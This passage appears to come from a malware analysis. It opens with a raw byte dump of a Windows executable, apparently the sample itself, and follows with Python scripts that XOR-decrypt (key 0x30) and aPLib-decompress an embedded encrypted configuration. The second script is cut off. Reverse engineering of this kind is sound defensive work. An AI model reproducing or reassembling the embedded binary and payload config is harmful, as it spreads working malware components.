\xc7@\x14\x0e`\xcd\xc4\xc7@\x18\x13`\xa5\xc4\xc7@\x1c\x06`\xd8\xc4\xc7@ \x1b`\xc9\xc4\xc7@$s`\xd0\xc4\xc7@(\x0e`\xcd\xc4\xc7@,\x1f`\xa5\xc4\xc7@0\x06`\xd8\xc4\xc7@4\x1b`\xcf\xc4\xc7@8s`\xd8\xc4\xc7@<\x1b`\xcf\xc4\xc7@@s`\xd0\xc4\xc7@D\x0e`\xcd\xc4\xc7@H\x19`\xa5\xc4\xc7@L\x0e`\xcd\xc4\xc7@P\x19`\xa5\xc4\xc7@T\x0e`\xcd\xc4\xc7@X\x19`\xa5\xc4\xc7@\\\x0e`\xcd\xc4\xc7@`\x19`\xa5\xc4\xc7@d\x0e`\xcd\xc4\xc7@h\x19`\xa5\xc4\xc7@l\x0e`\xcd\xc4\xc7@p\x19`\xa5\xc4\xc7@tV`\xfd\xc4\x8b\x15xQ@\x00j\x1eP\xffR\x14\x8dM\xe8\x8b\x15HQ@\x00\x0f\xb6A\x0fP\x0f\xb6A\x0eP\x0f\xb6A\rP\x0f\xb6A\x0cP\x0f\xb6A\x0bP\x0f\xb6A\nP\x0f\xb6A\tP\x0f\xb6A\x08Pfj\x00f\xffq\x06fj\x00f\xffq\x04\xff1\x8d\x85\x08\xff\xff\xffP\xffu\xfc\xffR<\x83\xc44\x8bE\xfc_^\x8b\xe5]\xc3\x90U\x8b\xec\x8b\x15LQ@\x00\xffu\x08\xffR<]\xc2\x04\x00\x90U\x8b\xec\x83\xc4\xc83\xc0\x89E\xf8\x89E\xf0H\x89E\xfc\x8b\x15tQ@\x00\xffR\x18\x89E\xf0\x83}\xf0\x00u\x05\xe9H\x02\x00\x00\xc6E\xd4\x01\xc6E\xd5\x00f\xc7E\xd6\x04\x00\xc7E\xd8\x00\x00\x00\x00\xc7E\xdc\x00\x00\x00\x00\xc7E\xe0\x00\x00\x00\x00\xc7E\xe4\x00\x00\x00\x00\xc7E\xc8\x0c\x00\x00\x00\x8dE\xd4\x89E\xcc\xc7E\xd0\x01\x00\x00\x00\x8b\x15LQ@\x00\x8dE\xc8Pj\xffj\x00j\x00h\xff\x00\x00\x00j\x00j\x03\xffu\xf0\xffRH\x89E\xfc\x83}\xfc\xffu\x05\xe9\xdd\x01\x00\x00\x8b\x15LQ@\x00j\x00\xffu\xfc\xffRL\x85\xc0u\x12d\x81=4\x00\x00\x00\x17\x02\x00\x00t\x05\xe9\xb9\x01\x00\x00\xc7E\xf4\x00\x00\x00\x00\x8b\x15LQ@\x00j\x00\x8dE\xf4Pj\x04\x8dE\xe8P\xffu\xfc\xffR(\x85\xc0u\x05\xe9\x91\x01\x00\x00\x83}\xf4\x04u\x0c\x8b\x15LQ@\x00\xffu\xfc\xffRX\x8b\x15LQ@\x00\xffu\xfc\xffRP\x8b\x15LQ@\x00j\x00j\x00\xffu\xe8ht7@\x00j\x00j\x00\xffR8\x89E\xf8\x83}\xf8\x00u\x05\xe9L\x01\x00\x00\x8b\x15\x80Q@\x00\xffu\xf8\xff\x12\x8b\x15LQ@\x00jd\xffu\xf8\xffR\\=\x02\x01\x00\x00t\x05\xe9\'\x01\x00\x00\xc7E\xec\x01\x00\x00\x00\x8b\x15LQ@\x00j\x00j\x00\x8dE\xecP\xffu\xfc\xffRT\x85\xc0u\x05\xe9\x03\x01\x00\x00\x8b\x15LQ@\x00j\x00\xffu\xfc\xffRL\x85\xc0u$d\x81=4\x00\x00\x00\x18\x02\x00\x00u\x05\xe9\xb4\x00\x00\x00d\x81=4\x00\x00\x00\x17\x02\x00\x00t\x05\xe9\xbb\x00\x00\x00\xc7E\xf4\x00\x00\x00\x00\x8b\x15LQ@\x00j\x00\x8dE\xf4Pj\x04\x8dE\xe8P\xffu\xfc\xffR(\x85\xc0u\x05\xe9\x93\x00\x00\x00\x83}\xf4\x04u\x0c\x8b\x15LQ@\x00\xffu\xfc\xffRX\x8b\x15LQ@\x00\xffu\xfc\xffRP\x83}\xe8\xfftV\x83}\xf8\x00t!\x8b\x15HQ@\x00j\x00\xffu\xf8\xffRP\x8b\x15HQ@\x00\xffu\xf8\xffRH\xc7E\xf8\x00\x00\x00\x00\x8b\x15LQ@\x00j\x00j\x00\xffu\xe8ht7@\x00j\x00j\x00\xffR8\x89E\xf8\x83}\xf8\x00u\x02\xeb$\x8b\x15\x80Q@\x00\xffu\xf8\xff\x12\x8b\x15LQ@\x00jd\xffu\xf8\xffR\\=\x02\x01\x00\x00\x0f\x84\x0f\xff\xff\xff\x83}\xf8\x00t\x0c\x8b\x15HQ@\x00\xffu\xf8\xffRH\x83}\xf0\x00t\x0c\x8b\x15tQ@\x00\xffu\xf0\xffR\x0c\x83}\xfc\xfft\x0c\x8b\x15HQ@\x00\xffu\xfc\xffRH\x8b\xe5]\xc3\x8d@\x00U\x8b\xec]\xc2\x04\x00\x90U\x8b\xec\x83\xc4\xe0\x8b\x15XQ@\x00h$:@\x00\xff5\x84Q@\x00\xffR$\x89E\xfc\x83}\xfc\x00td\x8b\x15HQ@\x00j\x1cj\x00\x8dE\xe0P\xffR$\x83\xc4\x0c\xc7E\xe0\x10\x00\x00\x00\xc7E\xe4\x04\x00\x00\x00\x8b\x15XQ@\x00\x8dE\xe0P\xffu\xfc\xffR\x1c\x85\xc0t.\x8b\x15tQ@\x00\xffR$\x8b\x15tQ@\x00h\x84P@\x00\xffR\x1c\xc7E\xe4\x01\x00\x00\x00\x8b\x15XQ@\x00\x8dE\xe0P\xffu\xfc\xffR\x1c\x8b\xe5]\xc2\x08\x00\x8d@\x00U\x8b\xec\x83\xc4\xdc\x8b\x15xQ@\x00\xffR\x04\x8b\x15TQ@\x00P\xffR\x08\x8b\x15HQ@\x00Ph\x8cQ@\x00\xffR0\x83\xc4\x08\x8b\x15TQ@\x00h\x8cQ@\x00\xffR\x04\x8d\x05\x8cQ@\x00\xa3\x84Q@\x00\x8d\x05,:@\x00\xa3\x88Q@\x00\x8b\x15XQ@\x00h\x84Q@\x00\xffR\x18\x8b\x15XQ@\x00h?\x00\x0f\x00j\x00j\x00\xffR\x14\x89E\xfc\x83}\xfc\x00ti\x8b\x15XQ@\x00h?\x00\x0f\x00h\x8cQ@\x00\xffu\xfc\xffR\x10\x89E\xf8\x83}\xf8\x00t>\x8b\x15HQ@\x00j\x1cj\x00\x8dE\xdcP\xffR$\x83\xc4\x0c\x8b\x15XQ@\x00\x8dE\xdcPj\x01\xffu\xf8\xffR\x0c\x8b\x15XQ@\x00\xffu\xf8\xffR,\x8b\x15XQ@\x00\xffu\xf8\xffR \x8b\x15XQ@\x00\xffu\xfc\xffR \x8b\xe5]\xc3\x8d@\x00\x8b\x15tQ@\x00\xffR\x14\x8b\x15tQ@\x00\xffR\x10\xc3\xe82\x01\x00\x00\xe83\x01\x00\x00\xe8\x16\x01\x00\x00\xe8#\x01\x00\x00\xe8\x18\x01\x00\x00\xe8\xf5\x00\x00\x00\xe8\x08\x01\x00\x00\xe8\xf7\x00\x00\x00\xe8\xec\x00\x00\x00\xe8\xb7\x00\x00\x00\xe8\xd6\x00\x00\x00\xe8\xc5\x00\x00\x00\xe8\xb4\x00\x00\x00\xe8\xa3\x00\x00\x00\xe8\xb0\x00\x00\x00\xe8\xab\x00\x00\x00\xe8\x9a\x00\x00\x00\xe8\xad\x00\x00\x00\xe8l\x00\x00\x00\xe8\x7f\x00\x00\x00\xe8z\x00\x00\x00\xe8W\x00\x00\x00\xe8j\x00\x00\x00\xe8_\x00\x00\x00\xe8Z\x00\x00\x00\xe8O\x00\x00\x00\xe88\x00\x00\x00\xe8E\x00\x00\x00\xe8L\x00\x00\x00U\x8b\xec\x8bE\x0c\x83\xf8\x01u\n\xe8x\xdf\xff\xff\xe8_\xe1\xff\xff]\xc2\x0c\x00\x8b\x15tQ@\x00\xffR(\x8b\x15LQ@\x00j\x00\xffR\x0c\xcc\xff%\\@@\x00\xff%D@@\x00\xff%X@@\x00\xff%T@@\x00\xff%P@@\x00\xff%L@@\x00\xff%H@@\x00\xff%8@@\x00\xff%<@@\x00\xff%$@@\x00\xff%(@@\x00\xff%,@@\x00\xff%0@@\x00\xff%4@@\x00\xff%\x1c@@\x00\xff%\x18@@\x00\xff%\x14@@\x00\xff%\x10@@\x00\xff%\x0c@@\x00\xff%\x08@@\x00\xff%\x04@@\x00\xff%\x00@@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8C\x00\x00\xd8C\x00\x00\xc4C\x00\x00\xb4C\x00\x00\xa2C\x00\x00\x90C\x00\x00\x80C\x00\x00nC\x00\x00\x00\x00\x00\x00\x14C\x00\x00&C\x00\x002C\x00\x00BC\x00\x00TC\x00\x00\xf0B\x00\x00\x06C\x00\x00\x00\x00\x00\x00\x82B\x00\x00\xd4B\x00\x00\xc4B\x00\x00\xb2B\x00\x00\xa6B\x00\x00\x96B\x00\x00pB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8A@\x00\xbcA@\x00\xa6P@\x00\x88@@\x00\x00\x00\x00\x00\x00\x000\x00H<@\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd8\xccob\x00\x00\x00\x00\r\x00\x00\x00\x0c\x01\x00\x00\xac@\x00\x00\xac2\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\xa0,\x00\x00.text\x00\x00\x00\xa0<\x00\x00Z\x00\x00\x00.text$mn\x00\x00\x00\x00\x00@\x00\x00p\x00\x00\x00.idata$5\x00\x00\x00\x00p@\x00\x00<\x00\x00\x00.rdata\x00\x00\xac@\x00\x00\x0c\x01\x00\x00.rdata$zzzdbg\x00\x00\x00\xb8A\x00\x00\x04\x00\x00\x00.tls\x00\x00\x00\x00\xbcA\x00\x00<\x00\x00\x00.idata$2\x00\x00\x00\x00\xf8A\x00\x00\x14\x00\x00\x00.idata$3\x00\x00\x00\x00\x0cB\x00\x00d\x00\x00\x00.idata$4\x00\x00\x00\x00pB\x00\x00\x98\x01\x00\x00.idata$6\x00\x00\x00\x00\x00P\x00\x00\xb0\x00\x00\x00.data\x00\x00\x00\xb0P\x00\x00,\x01\x00\x00.bss\x00\x00\x00\x00\x00`\x00\x00`\x00\x00\x00.rsrc$01\x00\x00\x00\x00``\x00\x00\x80\x01\x00\x00.rsrc$02\x00\x00\x00\x00\xff\xff\xff\xffPB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe6B\x00\x00D@\x00\x000B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00bC\x00\x00$@\x00\x00\x0cB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfaC\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8C\x00\x00\xd8C\x00\x00\xc4C\x00\x00\xb4C\x00\x00\xa2C\x00\x00\x90C\x00\x00\x80C\x00\x00nC\x00\x00\x00\x00\x00\x00\x14C\x00\x00&C\x00\x002C\x00\x00BC\x00\x00TC\x00\x00\xf0B\x00\x00\x06C\x00\x00\x00\x00\x00\x00\x82B\x00\x00\xd4B\x00\x00\xc4B\x00\x00\xb2B\x00\x00\xa6B\x00\x00\x96B\x00\x00pB\x00\x00\x00\x00\x00\x00(\x00CreateDIBitmap\x00\x00E\x00CreateSolidBrush\x00\x00\xaa\x00GetDeviceCaps\x00\xd4\x00GetPixel\x00\x00\xe3\x00GetTextCharset\x00\x00\xe5\x00GetTextColor\x00\x00:\x01SetDCBrushColor\x00gdi32.dll\x00c\x00CreateDialogParamW\x00\x00j\x00CreateMenu\x00\x00n\x00CreateWindowExW\x00\xda\x00EndDialog\x00\x12\x01GetClassNameW\x00*\x01GetDlgItemTextW\x00\xef\x01LoadImageW\x00\x00USER32.dll\x00\x00\x9a\x01FormatMessageW\x00\x00\xb0\x01GetAtomNameW\x00\x00\xc9\x01GetCommandLineA\x00\x14\x02GetDateFormatW\x00\x00Q\x02GetLastError\x00\x00h\x02GetModuleHandleW\x00\x00\xf6\x02GetTickCount\x00\x00\xad\x03LoadLibraryExA\x00\x00KERNEL32.dll\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c&@\x00@&@\x00d&@\x00\xbc&@\x00\xec)@\x00\xbc:@\x00\x085@\x00@\'@\x00\x08,@\x00\x887@\x00\xa4;@\x00\xb0+@\x00,0@\x00\xe0&@\x00\xe42@\x00\x982@\x0042@\x00X4@\x00\xcc\x11@\x00l\x11@\x00`\x11@\x000\x11@\x000\x10@\x00\x00\x10@\x00\x10\x10@\x00\xa8#@\x00\xe8"@\x00\xf0#@\x00`!@\x00( @\x00\xd4 @\x00\x94\x1f@\x00\xc4\x1f@\x00$\x00$\x00$\x00$\x00$\x00$\x00$\x00$\x00$\x00$\x00$\x00$\x00$\x00$\x00$\x00$\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x18\x00\x00\x00\x18\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x000\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\t\x04\x00\x00H\x00\x00\x00``\x00\x00{\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<?xml version=\'1.0\' encoding=\'UTF-8\' standalone=\'yes\'?>\r\n<assembly xmlns=\'urn:schemas-microsoft-com:asm.v1\' manifestVersion=\'1.0\'>\r\n  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">\r\n    <security>\r\n      <requestedPrivileges>\r\n        <requestedExecutionLevel level=\'asInvoker\' uiAccess=\'false\' />\r\n      </requestedPrivileges>\r\n    </security>\r\n  </trustInfo>\r\n</assembly>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\xcc\x00\x00\x00\xd71\xe01\xea1\xf71\xfd1\x062\x102\x1d2\x053\x7f5\x885\x8e6\xd16\xe56\x017\n7\x147!7\'707:7G7M7V7`7m7s7\xc57\xcb7\xf77\x1d8*888\x998\xa28\xac8\xb98\xe98\x0c9\xd3;\xdd;\xe4;\xee;\xf5;\xff;\x06<\x10<\x17<!<(<2<9<C<J<T<[<e<l<v<}<\x87<\xae<\xd9=\xfe=#>2>8>G>M>d>m>y>\x88>\x8e>\x9d>\xa3>\xba>\xc3>\xcf>\xde>\xe4>\xf3>\xf9>\r?\x16?"?1?7?C?I?]?f?r?|?\xb1?\xdd?\xf7?\x00\x00\x00 \x00\x00\xf4\x00\x00\x00\x190>0V0s0\x870\x990\xa50\xbe0\x1c171E1\x8b1\x9f1\xb91\xf01\n2@2\x892\xa52\xbe2\xd02\xfa2\x13363V3m3\x933\xc33\xd93!4A4r4\x9c4\xdf4(5I5z5\xa95\xcd5\xd95\xe95\x066!6*6E6N6s6\x906\xa26\xc16\xca6\xf26)7]7\x867\xb67\xe07\xec7\x0e8!8d8p8\xcd8\xda8\xf88\x0c9 989K9r9\xa59\xb49\xc69\xd89\t:\x14:&:D:R:]:\xae:\xba:\xcc:\xf9:\x05; ;);T;`;|;\x8e;\xa0;\xc0;\xdd;\xef;/<b<\x8f<\xd5<\xe1<Y=e=\x05>\x11>.>W>\x9c>\xa8>\xbc>\xc9>\xd6>\x17?\x7f?\x9f?\xb1?\xbe?\xcb?\xec?\x000\x00\x00 \x01\x00\x00\x1a0G0^0{0\x8d0\xa00\xb30\xf50\x041\x15121D1[1i1|1\x9b1\xad1\xc21\xce1\xe11\xfc1\x0e2 2;2s2\x882\x9c2\xd52\xfa233G3T3^3t3\x813\x8b3\xa13\xae3\xb83\xe73\xf33.4@4j4\x914\xa54\xba4\xde4\xf04!5=5\x915\xc25\xce5\xda5\xf85\x146!6\x0f7\x1e7y7\x9c7\xf17\x1e8I8p8|8\x888\x948\xaf8\xba8\xdb8\xf8859\\9h9\x809\x8e9\xa19\xad9\xc59\xd09\xef9\x01:\x13:4:9:?:Q:s:\x87:\x90:\x95:\xa5:\xc4:\xcd:\xd7:\xdd:\xe9:\xee:\xf7:\xfc:\x02;\x07;\r;\x12;\x1b;6;@;U;i;{;\x87;\x93;\xa6;\xaf;c<l<x<~<\x84<\x8a<\x90<\x96<\x9c<\xa2<\xa8<\xae<\xb4<\xba<\xc0<\xc6<\xcc<\xd2<\xd8<\xde<\xe4<\xea<\xf0<\xf6<\x00@\x00\x00\x14\x00\x00\x00p0t0x0|0\x880\x00\x00\x00P\x00\x00L\x00\x00\x00\x000\x040\x080\x0c0\x100\x140\x180\x1c0 0$0(0,0004080<0@0D0H0L0P0T0X0\\0`0d0h0l0p0t0x0|0\x800\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

shellcode解密算法

import binascii
from binascii import crc32
from io import BytesIO
import struct

def unhex(hex_string):
    if type(hex_string) == str:
        return binascii.unhexlify(hex_string.encode('utf-8'))
    else:
        return binascii.unhexlify(hex_string)

def tohex(data):
    if type(data) == str:
        return binascii.hexlify(data.encode('utf-8'))
    else:
        return binascii.hexlify(data)

def xor_decrypt(data, key):
    out = []
    for i in range(len(data)):
        out.append(data[i] ^ key)
    return bytes(out)


# APLib库使用开源代码: https://github.com/herrcore/aplib-ripper/tree/master
__all__ = ['APLib', 'decompress']
__version__ = '0.6'
__author__ = 'Sandor Nemes'

class APLib(object):

    __slots__ = 'source', 'destination', 'tag', 'bitcount', 'strict'

    def __init__(self, source, strict=True):
        self.source = BytesIO(source)
        self.destination = bytearray()
        self.tag = 0
        self.bitcount = 0
        self.strict = bool(strict)

    def getbit(self):
        # check if tag is empty
        self.bitcount -= 1
        if self.bitcount < 0:
            # load next tag
            self.tag = ord(self.source.read(1))
            self.bitcount = 7

        # shift bit out of tag
        bit = self.tag >> 7 & 1
        self.tag <<= 1

        return bit

    def getgamma(self):
        result = 1

        # input gamma2-encoded bits
        while True:
            result = (result << 1) + self.getbit()
            if not self.getbit():
                break

        return result

    def depack(self):
        r0 = -1
        lwm = 0
        done = False

        try:

            # first byte verbatim
            self.destination += self.source.read(1)

            # main decompression loop
            while not done:
                if self.getbit():
                    if self.getbit():
                        if self.getbit():
                            offs = 0
                            for _ in range(4):
                                offs = (offs << 1) + self.getbit()

                            if offs:
                                self.destination.append(self.destination[-offs])
                            else:
                                self.destination.append(0)

                            lwm = 0
                        else:
                            offs = ord(self.source.read(1))
                            length = 2 + (offs & 1)
                            offs >>= 1

                            if offs:
                                for _ in range(length):
                                    self.destination.append(self.destination[-offs])
                            else:
                                done = True

                            r0 = offs
                            lwm = 1
                    else:
                        offs = self.getgamma()

                        if lwm == 0 and offs == 2:
                            offs = r0
                            length = self.getgamma()

                            for _ in range(length):
                                self.destination.append(self.destination[-offs])
                        else:
                            if lwm == 0:
                                offs -= 3
                            else:
                                offs -= 2

                            offs <<= 8
                            offs += ord(self.source.read(1))
                            length = self.getgamma()

                            if offs >= 32000:
                                length += 1
                            if offs >= 1280:
                                length += 1
                            if offs < 128:
                                length += 2

                            for _ in range(length):
                                self.destination.append(self.destination[-offs])

                            r0 = offs

                        lwm = 1
                else:
                    self.destination += self.source.read(1)
                    lwm = 0

        except (TypeError, IndexError):
            if self.strict:
                raise RuntimeError('aPLib decompression error')

        return bytes(self.destination)

    def pack(self):
        raise NotImplementedError


def decompress(data, strict=False):
    packed_size = None
    packed_crc = None
    orig_size = None
    orig_crc = None

    if data.startswith(b'AP32') and len(data) >= 24:
        # data has an aPLib header
        header_size, packed_size, packed_crc, orig_size, orig_crc = struct.unpack_from('=IIIII', data, 4)
        data = data[header_size : header_size + packed_size]

    if strict:
        if packed_size is not None and packed_size != len(data):
            raise RuntimeError('Packed data size is incorrect')
        if packed_crc is not None and packed_crc != crc32(data):
            raise RuntimeError('Packed data checksum is incorrect')

    result = APLib(data, strict=strict).depack()

    if strict:
        if orig_size is not None and orig_size != len(result):
            raise RuntimeError('Unpacked data size is incorrect')
        if orig_crc is not None and orig_crc != crc32(result):
            raise RuntimeError('Unpacked data checksum is incorrect')

    return result

config_data = unhex('6330615a31683f92c7f1d1ae327037a5f0b4134439c9f7c0b036c2696bf35a372b6803f90bfc3e342082c834ca6e7001bbf8f1f93dfe3fe0def2cf0dd7176581dc6163cc753cca7d28243bf83a2045ddb02a38c7d16b696d4cf2d18e2098e83f25552433384fdee39429eb5d5afc3f332df034581dc46168f03a4fa57c626028d89dcf32357f2cb157c7f7e24e4ba124b933fb56726238040ccf43432903d8be0f6ba1b238ee3dd8001327159516363a7338264b3c732b10204b24db3c28b12cdd353c10b114dccaceb470181cc6dfb6700004c6d4b670080cc6e9b6707074c6feb670787cc6f3b6706064c688b670686c9283143b503f54589254583f5c58a754403f4458bc5148b1d267b13c124c4b88a2493759e235b4382172c7d2120c521c342aa4e70f66678c45c7614df6c2b707361366349b378b679d4700d5772fa7d072071876df07663c12580b6210f878109c7227297620702437580b73f86010f1c2cdb87628f8702c0b71ea2e716832e6e794101038140b71ea2e715032db87941018381c0b71ea2e71586430781000200446b3840c40b2b52547781008200c46b3840c48b04c6f796e3f503030')

xor_decrypt_config = xor_decrypt(config_data, 0x30)

decrypt_data = decompress(xor_decrypt_config)

hash解密算法

import struct
import binascii
import base64
import time
from binascii import crc32
from io import BytesIO

import requests


def unhex(hex_string):
    if type(hex_string) == str:
        return binascii.unhexlify(hex_string.encode('utf-8'))
    else:
        return binascii.unhexlify(hex_string)

def tohex(data):
    if type(data) == str:
        return binascii.hexlify(data.encode('utf-8'))
    else:
        return binascii.hexlify(data)

__all__ = ['APLib', 'decompress']
__version__ = '0.6'
__author__ = 'Sandor Nemes'


class APLib(object):

    __slots__ = 'source', 'destination', 'tag', 'bitcount', 'strict'

    def __init__(self, source, strict=True):
        self.source = BytesIO(source)
        self.destination = bytearray()
        self.tag = 0
        self.bitcount = 0
        self.strict = bool(strict)

    def getbit(self):
        # check if tag is empty
